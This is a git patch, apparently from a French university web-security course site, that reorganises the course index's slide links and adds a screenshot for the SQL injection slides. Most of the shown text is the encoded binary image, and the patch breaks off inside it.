From 924c40b2650c84a37ff9347246b52ee85ad2880d Mon Sep 17 00:00:00 2001 From: Vincent Mazenod <vmazenod@gmail.com> Date: Fri, 7 Jul 2023 22:12:32 +0200 Subject: [PATCH] SQLi --- content/Etudiants/zz2-f5-websec.md | 19 +- .../slides/1337/images/sqli/select2input.png | Bin 0 -> 34375 bytes content/slides/1337/md/fi.md | 5 + content/slides/1337/md/lab.md | 4 + content/slides/1337/md/sqli.md | 321 ++++++++++-------- content/slides/1337/md/xss.md | 2 + content/slides/1337/sqli.html | 7 +- content/slides/main.css | 12 + 8 files changed, 213 insertions(+), 157 deletions(-) create mode 100644 content/slides/1337/images/sqli/select2input.png diff --git a/content/Etudiants/zz2-f5-websec.md b/content/Etudiants/zz2-f5-websec.md index dd43b05..7eea119 100644 --- a/content/Etudiants/zz2-f5-websec.md +++ b/content/Etudiants/zz2-f5-websec.md @@ -29,18 +29,19 @@ Tags: cours * [Drupalgeddon](slides/1337/drupalgeddon.html) * [captcha](slides/1337/captcha.html) -<!-- * [Shellshock](slides/1337/shellshock.html)--> -<!-- -## Pentesting +<hr /> -* [Collecter](slides/1337/gathering.html) -* [Détecter](slides/1337/detecting.html) +<!-- * [Shellshock](slides/1337/shellshock.html) -## Se protéger + ## Pentesting -* [Top10](slides/1337/top10.html) -* [anticiper](slides/1337/anticiper.html) ---> + * [Collecter](slides/1337/gathering.html) + * [Détecter](slides/1337/detecting.html) + + ## Se protéger + + * [Top10](slides/1337/top10.html) + * [anticiper](slides/1337/anticiper.html) --> <div class="panel panel-success"> <div class="panel-heading"> diff --git a/content/slides/1337/images/sqli/select2input.png b/content/slides/1337/images/sqli/select2input.png new file mode 100644 index 0000000000000000000000000000000000000000..a7e7ed26ee4a06c606149c6e1ed4a4a00b87fbfe GIT binary patch literal 34375 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 